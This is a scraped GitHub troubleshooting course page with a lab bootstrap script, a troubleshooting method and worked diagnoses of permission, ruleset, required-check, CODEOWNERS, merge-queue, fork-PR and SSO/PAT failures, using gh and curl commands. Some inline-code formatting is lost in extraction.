- 0:00 PR page: all green but “Merging is blocked”; the shot stays on Expected.
- 0:30 Terminal:
check-runsandrules/branches/mainside by side, highlighting name differences. - 1:15 Modify the rule → status changes to CLEAN.
- 1:45 Introduce the summary job
ci-ok, explaining why it is more robust for matrices. - 2:30 Recap the six-gate diagram.
GitHub Hour 8 (Optional): 50 Production Problems + 50 Interview Questions
- When you see a line of exact error text, you can tell which of these it belongs to: repository permissions and PR gates, Actions workflows and runners, deployment and OIDC, or security/governance/API/billing layer it is in, and name the first diagnostic step (which settings page to open, which
ghcommand to run, which kind of log to check). - Understand the mechanism: GitHub returns 404 for private resources you cannot access, rulesets stack and the strictest rule wins, required checks match on “check name + source App”,
GITHUB_TOKENthe GITHUB_TOKEN permission ceiling and event-recursion protection, token downgrade for fork PRs, cache keys and scope, the three OIDC token checks (issuer / audience / subject), and primary and secondary API rate limits. - Be able to, in a throwaway test repository,reproduce, diagnose, fix and clean up 14 typical failures; cloud-related failures come with read-only diagnostic commands and least-privilege experiments.
- Be able to answer the 50 GitHub platform, Actions, cloud deployment, supply chain security and enterprise governance interview questions using the structure “30-second answer → principle → example YAML/commands → production experience”, and handle common follow-ups.
- Use mock interviews (timed + self-rating) to quantify your mastery rate and find weak modules.
1-hour time allocation
| # | Time | Module | Core content | Animation · Interaction | Lab |
|---|---|---|---|---|---|
| 0 | Before class | Instructions and fault lab environment | gh CLI, test repository gh8-lab, test organization, safety rules, five-step general troubleshooting method | Environment self-check | Bootstrap the broken repository |
| 1 | 00–08 | A · Repositories, permissions and PRs | Problems 1–12: 404 is really a permission issue, team permissions not taking effect, required check stuck on Expected, CODEOWNERS not requesting review, ruleset bypass misconfigured, merge queue stuck, fork PR cannot get secrets, SSO-authorized PAT returns 403, fine-grained PAT cannot see organization repositories, endless Update branch, Actions cannot approve PRs, approvals not counted | “PR can't be merged” decision tree | Required check name mismatch · ruleset evaluate · CODEOWNERS validation · 404 vs 403 |
| 2 | 08–16 | A · Actions workflows and runners | Problems 13–25: workflow does not trigger, Resource not accessible by integration, cache never hits, artifact download failure, matrix fail-fast, concurrency cancellation, self-hosted runner offline/queued, job timeout, expression errors, set-output deprecated, reusable workflow not found, dependent job skipped, insufficient disk space | Workflow run lifecycle failure simulator | GITHUB_TOKEN does not trigger · permission 403 · cache key · concurrency group |
| 3 | 16–24 | A · Deployment, OIDC and cloud platforms | Problems 26–38: AADSTS700213, AssumeRoleWithWebIdentity denied, missing id-token permission, immutable subject, environment approval stuck, ECR/ACR 401, deployment race, rollback failure, audience mismatch, insufficient Azure RBAC, branch not allowed to deploy, token expiring mid-job | OIDC token exchange simulator (modify claims to see who rejects) | Print OIDC claims · compare trust policies · environment branch policy |
| 4 | 24–30 | A · Security, governance, API and billing | Problems 39–50: push protection, CodeQL build failure, Dependabot not creating PRs, action blocked by policy, API rate limiting, webhook signature failure, App token expired, overspend, Dependabot job missing secrets, attestation verification failure, dependency review unavailable, PAT of a departed employee | “Governance/API failure” decision tree | Rate-limit backoff script · HMAC verification · installation token lifecycle |
| 5 | 30–37 | B · Platform and collaboration | Interview 1–13 | Mock interview | 2 scenario questions |
| 6 | 37–44 | B · Actions and CI/CD | Interview 14–25 | Mock interview | 2 scenario questions |
| 7 | 44–52 | B · Cloud deployment and supply chain security | Interview 26–38 | Mock interview | 3 scenario questions |
| 8 | 52–60 | B · Enterprise governance and scenario design | Interview 39–50 | Mock interview | 3 scenario questions |
| — | After class | Cheat sheet · Comprehensive drills | 50 “error → first step → fix” entries; 50 flashcards; 8 mixed failures; full mock interview | Full mock interview | Final quiz: 12 questions |
Knowledge coverage matrix
| Topic | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
|---|---|---|---|---|---|---|---|---|
| Permission model: roles, teams, tokens (PAT / App / GITHUB_TOKEN) | ● | ● | — | ● | ● | ● | — | ● |
| PR gates: rulesets, required checks, CODEOWNERS, merge queue | ● | — | — | — | ● | — | — | ● |
| Actions: events, jobs, runners, caching, artifacts, expressions | — | ● | ● | — | — | ● | — | — |
| Deployment: environments, concurrency, rollback | — | ● | ● | — | — | ● | ● | ● |
| OIDC: Entra ID federated credentials, AWS IAM trust policies | — | — | ● | — | — | — | ● | ● |
| Supply chain: SHA pinning, attestations, SBOM, dependency review | — | — | — | ● | — | ● | ● | ● |
| Security products: push protection, CodeQL, Dependabot | — | — | — | ● | — | — | ● | ● |
| API / Webhook / GitHub App / billing | ● | — | — | ● | ● | — | — | ● |
Out of scope for this course (where to learn it)
- Failures in Git itself (lost work after reset, non-fast-forward, credential helper, GH006 protected branch, GH001 large files, shallow clones missing tags, etc.) are already covered in the 50 problems of Git Lesson 8 , so this course does not repeat them and only links back where needed.
- For Actions syntax from scratch and cloud deployment steps, see this course's Lesson 2(Actions core),Lesson 3(Azure),Lesson 4(AWS).
- For image building and container orchestration themselves → Docker 8 Hours(placed before the CI/CD platform course in the learning path) and Kubernetes 8 + 1 Hours.
- Operating, backing up and making GitHub Enterprise Server (self-hosted instances) highly available → refer to the official documentation; this course only covers GitHub.com / Enterprise Cloud.
How to use this course
- open the matching module's quick view, paste the most distinctive words from the error (e.g.
Expected,integration,AADSTS,AssumeRoleWithWebIdentity,secondary rate limit) into the filter box. - Click a table row to jump directly to Problem details, and follow “diagnose → compare output → fix”.
- Not sure which layer it is in? Use the animated decision trees / simulators on the page.
- First check the quick view, and pick out the questions you are unsure of by difficulty.
- Mock interview: random questions, 2-minute countdown, answer first then check, self-rate as “Answered / Partial / Missed”; scores are stored only in this browser.
- Answer structure: One-sentence conclusion → mechanism → YAML/command example → pitfalls you ran into.
- Cheat sheet Print it and post it at your desk or add it to the team wiki.
- Comprehensive drills: 8 mixed failures + full mock interview (pick 10 of 50) + final quiz.
- Every question links back to the matching slides in Lessons 1–7, so you can revisit them.
Entry structure for Parts A and B
Symptom → root cause (mechanism level) → diagnostic command → sample expected output → fix → prevention and best practices → see Lesson N. Titles use the wording from GitHub web pages, Actions logs,gh the /REST API, Entra ID and AWS STS return the exact error text; these platforms change their wording, so where a detail is uncertain the entry notes that “wording may vary by version”.
Question → 30-second answer → in-depth answer (principle, YAML/command examples) → common follow-ups → bonus points → common wrong answer. Difficulty:BeginnerIntermediateAdvanced.
Relationship to the first seven lessons
| Course | Most-referenced content in this course |
|---|---|
| Lesson 1 core foundations | Organization / team / role permission model, full PR workflow, gh CLI and REST/GraphQL API |
| Lesson 2 GitHub Actions core | Event triggers, job/step/runner, expressions and contexts, matrix and concurrency, caching and artifacts, GITHUB_TOKEN permissions |
| Lesson 3 Moving to cloud platforms (Azure) | Entra ID federated credentials, environments and approvals, Container Apps / AKS deployment, cloud troubleshooting |
| Lesson 4 Moving to cloud platforms (AWS) | IAM OIDC providers and trust policies, ECR, ECS/EKS/Lambda, multi-account promotion |
| Lesson 5 Production-grade Actions | Reusable workflows, custom actions, publishing, GHCR, artifact attestations, hardening, organization-level governance |
| Lesson 6 Enterprise security and governance | GHAS licensing, push protection, CodeQL, Dependabot, SSO/EMU, rulesets and audit logs |
| Lesson 7 Advanced troubleshooting and advanced topics | Debug logging, self-hosted runners and ARC, performance, billing, act, API/Webhook/App rate limits and reliability |
actions/checkout@v7 (v7.0.1),actions/cache@v6 (v6.1.0),actions/upload-artifact@v7 (v7.0.2),actions/download-artifact@v8 (v8.0.2),azure/login@v3 (v3.1.0),aws-actions/configure-aws-credentials@v6 (v6.3.0). In production, it is recommended to pin by Pin to the full commit SHA (see Problem #42 and interview Q32). The slides use major version tags for readability. OIDC immutable subject: since 2026-07-15, newly created, renamed or transferred repositories use the repo:owner@<owner-id>/repo@<repo-id>:… format for the subject by default; existing repositories must opt in manually (Problem #29). All “expected output” blocks are illustrative examples, and IDs, timestamps, usernames and your environment will differ; platform error wording may change.Module 0 · Instructions and fault lab environment (before class)
- Complete Lessons 1 and 2; Lessons 3–7 are optional (each problem includes read-only diagnostic commands and links to the matching slides).
- A personal GitHub Free account is enough to reproduce most of Modules 1, 2 and 4; for organization-related problems (teams, rulesets, SSO), use one free organization
myorg-lab(example name). Features that need a paid plan are marked: merge queue for private repositories requires Enterprise Cloud (available for public repositories in an organization), SAML SSO requires Enterprise Cloud, and Secret Protection / Code Security for private repositories requires the matching license (free for public repositories). - Reproducing Module 3 requires an Azure subscription (resource group
rg-gh-lab, regioncanadacentral) or an AWS account (ca-central-1) with permission to create app registrations / IAM roles. Create only identities and empty resource groups,so the cost is roughly 0; ECR/ACR experiments incur a small storage cost, so delete them after the lab.
Tool and version checks
gh --version # GitHub CLI gh auth status # current account, token type and scopes git --version # 2.56 (matches the Git course) az version 2>/dev/null | head -3 # Module 3 (Azure), optional aws --version 2>/dev/null # Module 3 (AWS), optional jq --version
gh version 2.x.x (2026-xx-xx) github.com ✓ Logged in to github.com account alice-lab (keyring) - Active account: true - Git operations protocol: https - Token: gho_************************************ - Token scopes: 'gist', 'read:org', 'repo', 'workflow' git version 2.56.x
gh For exact version numbers, refer to cli/cli Releases ; the subcommands used in this course are gh api,gh run,gh ruleset,gh attestation verify, and gh cache available in versions from the past two years.
Fault lab repository gh8-lab
#!/usr/bin/env bash
# lab8-bootstrap.sh — create the public test repository gh8-lab under your personal account (safe to rerun: deletes then recreates)
set -euo pipefail
OWNER=$(gh api user -q .login)
gh repo delete "$OWNER/gh8-lab" --yes 2>/dev/null || true # requires the delete_repo scope: gh auth refresh -s delete_repo
rm -rf ~/gh8-lab && mkdir -p ~/gh8-lab && cd ~/gh8-lab
git init -q -b main
mkdir -p .github/workflows
cat > app.py <<'EOF'
from flask import Flask
app = Flask(__name__)
@app.get("/healthz")
def healthz():
return "ok"
EOF
printf 'flask==3.*\ngunicorn==23.*\nredis==5.*\npytest==8.*\n' > requirements.txt
cat > test_app.py <<'EOF'
from app import app
def test_healthz():
assert app.test_client().get("/healthz").data == b"ok"
EOF
cat > .github/workflows/ci.yml <<'EOF'
name: ci
on:
pull_request:
push:
branches: [main]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with: { python-version: "3.13", cache: pip }
- run: pip install -r requirements.txt
- run: pytest -q
EOF
git add . && git commit -qm "feat: initial gh8-lab"
gh repo create "$OWNER/gh8-lab" --public --source . --push
echo "lab ready: https://github.com/$OWNER/gh8-lab"
✓ Created repository alice-lab/gh8-lab on github.com ✓ Added remote https://github.com/alice-lab/gh8-lab.git ✓ Pushed commits to https://github.com/alice-lab/gh8-lab.git lab ready: https://github.com/alice-lab/gh8-lab
Public repositories can use rulesets, merge queue (within an organization), Secret Protection, CodeQL and dependency review for free, which makes them suitable for reproduction; Actions on public repositories uses standard GitHub-hosted runners free of charge.
Environment self-check checklist
Connection to the previous lesson
The “troubleshooting methodology + debug logging + rate limiting and retries” from Lesson 7 is organized in this course into “error → first step → fix” entries; the OIDC labs from Lessons 3 and 4 (federated credentials, IAM roles) can be reused directly to reproduce Module 3 problems.
Safety rules (must read)
- Debug logs (
ACTIONS_STEP_DEBUG) and the output ofGH_DEBUG=apimay contain token fragments or internal URLs; delete them after use and do not paste them into public issues. - Lab cleanup: delete the test repository, the PATs/Apps in the test organization, the Entra app registrations and federated credentials, IAM roles and OIDC providers (if created for this course), and the ECR/ACR repositories.
General five-step troubleshooting method (used throughout Part A)
| Step | Action | Question answered |
|---|---|---|
| 1 Locate the layer | Where does the error come from? GitHub web/API (HTTP status code + message), Actions runner log (##[error]), cloud (AADSTS…,AccessDenied)? | Who rejected me: GitHub, a tool on the runner, or the cloud platform? |
| 2 Confirm identity | gh auth status · gh api user · Token type (ghp_ classic PAT / github_pat_ fine-grained / ghs_ installation or GITHUB_TOKEN / gho_ OAuth) | Who is the request sent as? |
| 3 Confirm permissions | gh api repos/O/R -q .permissions · The “GITHUB_TOKEN Permissions” at the top of the job log · cloud role assignments | What permissions does this identity have on the target resource? |
| 4 Confirm rules | Settings → Rules → Rulesets (including organization-level) · Branch protection · Actions policies · environment protection rules | Is there a policy adding another gate beyond the identity? |
| 5 Turn on debugging | When re-running, tick “Enable debug logging”; GH_DEBUG=api gh …; curl -i check the response headers (x-ratelimit-*,x-accepted-github-permissions) | Details: which token was used, which permission is missing, how much quota is left? |
Module 1 · Part A: Repositories, permissions and PRs (Problems 1–12)
- Remember one GitHub security design: for a private resource you are not allowed to view, GitHub returns 404 Not Found a 404 rather than a 403, so it does not leak that the resource exists. A 403 usually means “I know who you are, but you lack a certain permission or authorization”.
- Understand that whether a PR can be merged is decided by several layers stacked together: repository role → rulesets (organization-level + repository-level, strictest wins) / classic branch protection → required checks (matched by check name and source App) → required reviews (including CODEOWNERS and approval of the latest push) → merge queue.
- Be able to use
gh apito answer within one minute: What is my role on this repository? Which rules does this branch hit? What is the name of the missing check?
Enter keywords from the error or symptom (e.g. 404,Expected,CODEOWNERS,SAML,merge queue) to filter; click a row to jump to the matching entry in “Problem details”.
#1 gh / API returns 404 Not Found even though the repository exists (it is really a permission issue)
$ gh api repos/myorg-lab/payments
{
"message": "Not Found",
"documentation_url": "https://docs.github.com/rest/repos/repos#get-a-repository",
"status": "404"
}
gh: Not Found (HTTP 404)
Symptom: A colleague can open github.com/myorg-lab/payments, but your script / gh / some action gets a 404; on the web, you also see “404 This is not the web page you are looking for”.
Root cause: GitHub returns 404 (not 403) for a private or internal resource that the current identity cannot view, to prevent probing private repository existence via status codes. Common causes: ① the token belongs to another account (multiple accounts,GH_TOKEN an environment variable overrides the keyring); ④ the token is GITHUB_TOKEN valid only for the current repository, so accessing another private repository in the organization always returns 404; ⑤ you are not in any team with permission.
Diagnostic commands
gh auth status # which account? Does the token come from the keyring or GH_TOKEN? env | grep -E '^(GH|GITHUB)_TOKEN' | sed 's/=.*/=***/' gh api user -q .login # the user the token actually represents gh api repos/myorg-lab/payments -i 2>&1 | grep -iE '^HTTP|x-oauth-scopes|x-accepted-github-permissions|x-github-sso'
HTTP/2.0 404 Not Found X-Oauth-Scopes: read:org, workflow X-Accepted-Github-Permissions: metadata=read
Interpretation: a classic PAT missing repo scope gets 404 when accessing a private repository; the response header x-accepted-github-permissions tells you the minimum permission a fine-grained token/App needs; if the x-github-sso header appears, it is SSO not authorized (#8).
Fix
- Switch to the correct account:
gh auth switch, orunset GH_TOKEN. - Classic PAT: add
reposcope (not recommended, too broad); fine-grained PAT: select the organization as resource owner, tick this repository, and grantContents: Readand similar least-privilege permissions. - For cross-repository access in a workflow: do not use
GITHUB_TOKEN, use a GitHub App installation token instead (actions/create-github-app-token, scoped torepositories). - Ask an organization admin to add you to the appropriate team, or grant a role on the repository.
Prevention and best practices
- In scripts, call
gh api userto print identity first; on 404, show “may be a permission issue” instead of “repository not found”. - Use a GitHub App for machine access and avoid personal PATs (see #50).
See Lesson 1: repositories, organizations, teams and the permission model · gh CLI and API; for the Git-level “Repository not found”, see Git Lesson 8 #36.
#2 I joined the team, the team has Write on the repository, but I can still only Read (team permission not taking effect)
$ gh api repos/myorg-lab/myapp -q .permissions
{"admin":false,"maintain":false,"pull":true,"push":false,"triage":false}
# but Teams → backend → Repositories shows myapp: Write
Symptom: The team page shows Write, but the push is rejected (403 “Permission to … denied”) or the web UI has no “Edit” button.
Root cause (by frequency):① the invitation has not yet been accepted (organization membership is pending, so team membership does not take effect); ② you are in another team with the same name or in the parent team of a child team — permissions are inherited from the parent team downward to child teams, not upward; ③ SAML SSO is enabled but you have no active SSO session, and team sync from IdP groups overrides manually added members; ④ you use a fine-grained PAT, whose permissions are “token permissions ∩ user permissions”, and the token itself only grants Contents: Read; ⑤ the repository is archived (archived repositories are read-only for everyone). The effective permission takes the highest value across all sources (base permission, direct grants, each team), so “read-only” usually means the team relationship has not taken effect at all.
Diagnostic commands
gh api orgs/myorg-lab/memberships/$(gh api user -q .login) -q '{state,role}'
gh api orgs/myorg-lab/teams/backend/memberships/$(gh api user -q .login) -q .state
gh api orgs/myorg-lab/teams/backend/repos/myorg-lab/myapp -H "Accept: application/vnd.github+json" -q .permissions
gh api repos/myorg-lab/myapp -q '{archived, permissions}'
{"role":"member","state":"pending"} ← root cause: organization invitation not accepted
pending
Fix
- Go to
https://github.com/orgs/myorg-lab/invitationto accept the invitation; for SSO organizations, complete SSO sign-in first. - For organizations with team sync: add people to the mapped group in the IdP, not manually on GitHub.
- Fine-grained PAT: regenerate it and grant the required permissions.
Prevention and best practices
- Grant access through teams, not direct personal grants; use “Security managers” and custom repository roles for special needs.
- Regularly export
gh api orgs/O/teams/T/reposfor permission audits.
See Lesson 1: repositories, organizations, teams and the permission model,Lesson 6: SSO, EMU, team sync.
#3 PR cannot be merged: a required check keeps showing “Expected — Waiting for status to be reported”
Some checks haven't completed yet ● build (3.13) Expected — Waiting for status to be reported Required Merging is blocked The base branch requires all required checks to pass.
Symptom: CI is all green, but a “Required” check at the bottom of the PR is still stuck on Expected and never completes.
Root cause: Required checks match on the name of the check run (optionally scoped to the source GitHub App). If the names do not match, the check never arrives: ① the matrix job name is build (3.13), and after changing the matrix values it becomes build (3.14), but the rule still has the old name; ② you added name:, so the check name changes too; ③ the workflow is skipped because of paths/branches a filter and never runs at all (a filtered workflow does not report “skipped”, so the check stays on Expected); ④ the rule is scoped to a source App (e.g. “GitHub Actions”), but the actual check is reported by another App; ⑤ the merge queue scenario lacks the merge_group trigger (#6).
Diagnostic commands
SHA=$(gh pr view 42 --json headRefOid -q .headRefOid) gh api repos/O/R/commits/$SHA/check-runs -q '.check_runs[] | [.name, .app.slug, .conclusion] | @tsv' gh api repos/O/R/rules/branches/main -q '.[] | select(.type=="required_status_checks") | .parameters.required_status_checks'
build (3.14) github-actions success
lint github-actions success
[{"context":"build (3.13)","integration_id":15368}] ← the name required by the rule no longer exists
Fix
- Change the check name in the rule to the actual name; for a matrix, a safer approach is to add a summary job (for example
ci-ok,needs: [build],if: always()and checkneeds.build.result) and make only it required. - For a path-filtered workflow: remove
paths, and instead usedorny/paths-filtera condition inside the job so the job “succeeds without doing anything”. - In an emergency, have someone with bypass permission merge, and fix the rule afterwards (leaving an audit record).
ci-ok: # the only required check: stable name, does not change with the matrix
if: always()
needs: [build, lint]
runs-on: ubuntu-latest
steps:
- run: |
[[ "${{ needs.build.result }}" == "success" && "${{ needs.lint.result }}" == "success" ]] || exit 1
Prevention and best practices
- Make only summary jobs with stable names required; update the rule before changing workflow or job names.
- Trial new rules first using the ruleset's Evaluate evaluate mode for one week.
See Lesson 1: the full pull request workflow,Lesson 2: matrix and concurrency.
#4 CODEOWNERS did not automatically request review (or “Unknown owner”)
.github/CODEOWNERS ⚠ This CODEOWNERS file contains errors Line 3: Unknown owner on line 3: make sure the team @myorg-lab/payment-team exists, is publicly visible, and has write access to the repository
Symptom: You changed services/payment/, and the PR did not automatically request review from the payment team; or after the rule requiring “Require review from Code Owners”, the PR stays stuck. (The error wording is a common form and may vary by version.)
Root cause:① File location: GitHub only recognizes .github/, the repository root,docs/ under CODEOWNERS, and it reads the version on the PR's target branch (base), not the version on the feature branch: a CODEOWNERS file newly added in a feature branch does not apply to this PR; ② owners must have Write permission on the repository (a team must be visible and granted Write); ③ in the rules,later lines override earlier ones, so the last matching line wins (a catch-all line at the end * @org/platform ) would override all earlier, more specific rules; ④ syntax: does not support ! negation,[ ] or character classes; ⑤ when the author is the sole owner, they are not requested to review their own PR.
Diagnostic commands
gh api repos/O/R/codeowners/errors -q '.errors[] | "\(.line): \(.message)"' gh api repos/O/R/contents/.github/CODEOWNERS?ref=main -q .content | base64 -d | nl | tail -5 gh api orgs/O/teams/payment-team/repos/O/R -q .role_name
3: Unknown owner on line 3: make sure the team @myorg-lab/payment-team exists, is publicly visible, and has write access to the repository read
Fix
- Grant the team Write (or higher); change the team visibility to Visible.
- Put the general rules at the top of the file, with specific paths after them; when changing CODEOWNERS, first submit a separate PR and merge it into main.
- For PRs already open: after the fix is merged, click “Re-request review” on the PR or push a new commit to trigger recalculation.
Prevention and best practices
- In CI, call the
codeowners/errorsAPI and fail if the result is not empty. - CODEOWNERS itself should also name owners (
/.github/CODEOWNERS @org/platform) to prevent it from being changed arbitrarily. - Note on plans: on the Free plan, private repositories cannot enforce CODEOWNERS review.
See Lesson 1: the full pull request workflow; for the interview answer on how CODEOWNERS works, see the Git course's Git Lesson 8, Q29.
#5 Ruleset bypass misconfigured: admins can push directly to main / release bots with bypass are still rejected
protected_branch.policy_override actor=bob repo=myorg-lab/myapp ref=refs/heads/main # bob is a repository admin who pushed directly to main, bypassing the “must go through a PR” rule
remote: error: GH013: Repository rule violations found for refs/tags/v1.4.0. remote: - Cannot create ref due to creations being restricted. ! [remote rejected] v1.4.0 -> v1.4.0 (push declined due to repository rule violations)
Root cause: The bypass list grants access by role, team, GitHub App, or deploy key, and there are two modes: Always (can bypass at any time, including direct pushes) and For pull requests only (can only “bypass when merging” on a PR). A: adding the “Repository admin” role as Always is equivalent to giving every admin a direct-push backdoor. B: the bypass list contains App A, but the tag push actually comes from GITHUB_TOKEN (identity is the “github-actions” App) or a personal PAT; in addition,organization-level rulesets also apply to that branch; a repository-level bypass cannot bypass an organization ruleset. When multiple layers of rules stack, the strictest wins, and each layer's bypass applies only to that layer.
Diagnostic commands
gh api repos/O/R/rulesets --paginate -q '.[] | [.id,.name,.source_type,.enforcement] | @tsv'
gh api repos/O/R/rulesets/123456 -q '.bypass_actors'
gh api repos/O/R/rules/branches/main -q '.[] | [.type, .ruleset_source_type, .ruleset_source] | @tsv'
gh api "orgs/O/rulesets/rule-suites?ref=refs/tags/v1.4.0" -q '.[0] | {actor_name, result, evaluation_result}'
[{"actor_id":5,"actor_type":"RepositoryRole","bypass_mode":"always"}] ← 5 = Repository admin
creation Organization myorg-lab ← the rejection comes from the organization-level ruleset
{"actor_name":"github-actions[bot]","result":"rejected","evaluation_result":"fail"}
Fix
- A: change the admin bypass to For pull requests only, or remove it entirely; hand the emergency path to a small “break-glass” team and hook it up to audit alerts.
- B: for releases, generate a token from a dedicated GitHub App (
actions/create-github-app-token) and add this App to the bypass of the organization-level and repository-level rulesets (or exempt it in the tag rule). - Use the Rule insights page to confirm which rule each push hits.
Prevention and best practices
- Keep the bypass list minimal and codify it in IaC (e.g. Terraform
github_repository_ruleset), and route changes through review. - Run new rules in Evaluate mode first and check rule-suites before switching to Active.
See Lesson 5: organization-level governance,Lesson 6: rulesets, audit logs and compliance; for the GH013 explanation seen on the push side, see Git Lesson 8 #37.
#6 Merge queue stuck: PR stays “Queued” / is removed from the queue with “required status checks … not reported”
github-merge-queue bot removed this pull request from the merge queue due to failed status checks build — Expected — Waiting for status to be reported # or: the PR at the front of the queue shows “Queued · Waiting for checks” and is removed after more than 1 hour (wording may vary by version)
Root cause: The merge queue creates a temporary branch gh-readonly-queue/main/pr-42-<sha>, and emits a merge_group event asking required checks to re-run on the combination of “main + earlier PRs in the queue + this PR”. When the workflow only specifies on: pull_request , the combined commit has no checks at all, so the required check stays Expected until it times out and is removed. Other causes: a push filter branches: [main] does not cover gh-readonly-queue/** the merge branch; the queue's “Status check timeout” is shorter than the actual CI run time; insufficient self-hosted runners cause queuing (#19).
Diagnostic commands
grep -n -A3 '^on:' .github/workflows/*.yml # whether it includes merge_group gh run list -R O/R -e merge_group -L 5 # any runs triggered by merge_group git ls-remote origin 'refs/heads/gh-readonly-queue/*' | head
.github/workflows/ci.yml:2:on: .github/workflows/ci.yml-3- pull_request: no runs found ← never triggered by merge_group
Fix
on:
pull_request:
merge_group: # also run the same-named check on merge queue temporary commits
types: [checks_requested]
- The check name must be the same under both the PR and merge_group triggers (a single job is enough).
- Adjust the queue's status check timeout and build concurrency (Maximum pull requests to build) to match the actual CI duration.
Prevention and best practices
- Before enabling the merge queue, merge a workflow that has the
merge_grouptrigger in place. - Availability: the merge queue is available for public repositories owned by an organization; private repositories require GitHub Enterprise Cloud (refer to official documentation).
See Lesson 1: the full pull request workflow,Lesson 2: workflow syntax and event triggers.
#7 In PRs from forks, secrets are empty and GITHUB_TOKEN is read-only; deploy/comment steps fail
Run azure/login@v3 Error: Login failed with Error: Using auth-type: SERVICE_PRINCIPAL. Not all values are present. Ensure 'client-id' and 'tenant-id' are supplied. ... Run gh pr comment 57 --body "coverage 91%" GraphQL: Resource not accessible by integration (addComment)
Symptom: The same workflow works for internal branch PRs but fails for fork PRs from external contributors; or the PR shows “1 workflow awaiting approval”.
Root cause: This is a deliberate security design: pull_request When the event comes from a fork, all secrets except GITHUB_TOKEN are not passed to the runner, and the GITHUB_TOKEN is downgraded to read-only, and it cannot be used to obtain OIDC tokens for write purposes; runs from first-time contributors also need maintainer approval. Otherwise, anyone could submit a PR that prints secrets.
Diagnostic commands
gh pr view 57 --json headRepositoryOwner,isCrossRepository -q . gh run view <run-id> --log | grep -A12 'GITHUB_TOKEN Permissions'
{"headRepositoryOwner":{"login":"contributor-x"},"isCrossRepository":true}
GITHUB_TOKEN Permissions
Contents: read
Metadata: read
PullRequests: read
Fix (from most to least secure)
- For fork PRs, run only builds and tests that need no secrets; for deployment jobs, add the following guard
if: github.event.pull_request.head.repo.full_name == github.repository. - When write operations are needed (posting comments, adding labels), use the two-stage pattern:
pull_requestthe job only uploads a result artifact; anotherworkflow_runworkflow, running in the base repository context, reads the artifact and posts the comment —never checking out or executing the fork's code. - Do not use
pull_request_target+ checking out the PR head to “fix” the problem; this is the classic “pwn request” vulnerability;actions/checkoutSince v7, checkout of fork PRs is blocked by default underpull_request_target/workflow_runthis trigger.
Prevention and best practices
- Set “Require approval for all outside collaborators” at the organization level; do not change the default of not passing secrets to fork PRs.
See Lesson 2: secrets, variables and GITHUB_TOKEN permissions,Lesson 5: Actions security hardening.
#8 403: Resource protected by organization SAML enforcement. You must grant your Personal Access token access to this organization.
$ git clone https://github.com/myorg-ent/platform.git
remote: The 'myorg-ent' organization has enabled or enforced SAML SSO.
remote: To access this repository, you must re-authorize the Personal Access Token you are using.
fatal: unable to access 'https://github.com/myorg-ent/platform.git/': The requested URL returned error: 403
$ gh api orgs/myorg-ent/repos
{"message":"Resource protected by organization SAML enforcement. You must grant your Personal Access token access to this organization.", ...}
Root cause: Organizations with SAML SSO enabled (GitHub Enterprise Cloud) require classic PATs and SSH keys to be separately authorized for that organization, and the user must have an active SSO session. Newly created PATs, rotated PATs and newly uploaded SSH keys are not authorized by default; if an admin revokes a credential's authorization, a 403 appears immediately.
Diagnostic commands
curl -sI -H "Authorization: Bearer $GH_TOKEN" https://api.github.com/orgs/myorg-ent | grep -i x-github-sso
x-github-sso: required; url=https://github.com/orgs/myorg-ent/sso?authorization_request=AXXXX...
Fix
- Open the URL in the response header, or go to Settings → Developer settings → Personal access tokens → “Configure SSO” next to the token → Authorize.
- SSH key: Settings → SSH and GPG keys → Configure SSO.
gh auth loginWhen going through the web flow, you will be prompted to authorize the SSO organization.
Prevention and best practices
- Do not rely on personal PATs for automation; GitHub App installation tokens are not subject to SAML credential authorization restrictions.
- In EMU enterprises, accounts are managed by the IdP and usage differs (Lesson 6).
See Lesson 6: organizations and enterprises: SSO, EMU, team sync.
#9 Fine-grained PAT cannot see organization repositories: requests return 404, or the token shows “pending approval”
Settings → Fine-grained tokens → ci-reader Resource owner: alice-lab ← selected a personal account Repository access: All repositories $ gh api repos/myorg-lab/myapp → Not Found (HTTP 404) # or: Resource owner = myorg-lab, but the organization requires approval: Status: Pending approval
Root cause: Fine-grained PATs (GA since 2025-03) are bound to a single resource owner: when the owner is a personal account, the token can only access that user's repositories; to access organization repositories, the organization must be selected as the resource owner. An organization can require “administrator approval for fine-grained tokens” or completely forbid fine-grained/classic PATs; before approval, the token can only read public resources. In addition, effective token permissions = permissions selected on the token ∩ the user's own permissions.
Diagnostic commands
gh api orgs/myorg-lab/personal-access-token-requests -q '.[] | [.owner.login, .token_name, .created_at] | @tsv' # run by an organization admin curl -sI -H "Authorization: Bearer $TOKEN" https://api.github.com/repos/myorg-lab/myapp | grep -iE '^HTTP|github-authentication-token-expiration'
Fix
- Recreate the token: select as Resource owner
myorg-lab, choose only the repositories and permissions needed; after submitting for approval, ask an admin to approve it. - Set the token expiration according to organization policy (organizations can set a maximum lifetime).
Prevention and best practices
- Enable approval and a maximum lifetime at the organization level; use a GitHub App for long-term automation.
#10 “This branch is out-of-date with the base branch” — clicking Update branch makes it outdated again, an endless loop
This branch is out-of-date with the base branch Merge the latest changes from main into this branch. [Update branch] # after the update, CI runs for 15 minutes, during which someone else's PR is merged into main → outdated again
Root cause: The rule “Require branches to be up to date before merging” (strict status checks) requires the PR head to include the latest base commit, and the checks must pass on that combination. In a busy repository, every merge forces all other PRs to update and re-run CI; the slower the CI, the more conflicts pile up — this is a queuing problem, not a Git problem.
Diagnosis
gh api repos/O/R/rules/branches/main -q '.[] | select(.type=="required_status_checks") | .parameters.strict_required_status_checks_policy' gh pr list -B main -s merged -L 50 --json mergedAt -q 'length' # merge frequency
Fix
- Enable the merge queue: the queue validates the combination of “main + earlier PRs + this PR”, and strict mode is removed (see the note on #6
merge_group). - If the merge queue is temporarily unavailable: enable auto-merge (
gh pr merge --auto --squash), and split CI into fast required checks + slow non-required checks.
Prevention and best practices
- Measure PR wait time; keep CI duration under 10 minutes (Lesson 7 performance optimization).
See Lesson 1: the full pull request workflow,Lesson 7: performance: caching, parallelism and larger runners.
#11 GitHub Actions is not permitted to create or approve pull requests.
Run gh pr create --title "chore: bump deps" --body "auto" pull request create failed: GraphQL: GitHub Actions is not permitted to create or approve pull requests (createPullRequest) Error: Process completed with exit code 1.
Root cause: In organization/repository settings (Settings → Actions → General → Workflow permissions), “Allow GitHub Actions to create and approve pull requests” is off by default. Even if the workflow sets permissions: pull-requests: write, the platform-level switch still rejects it. Once it is enabled,GITHUB_TOKEN also cannot approve a PR it created itself, and PRs it creates do not trigger pull_request workflows (recursion protection, see #13), so required checks stay Expected.
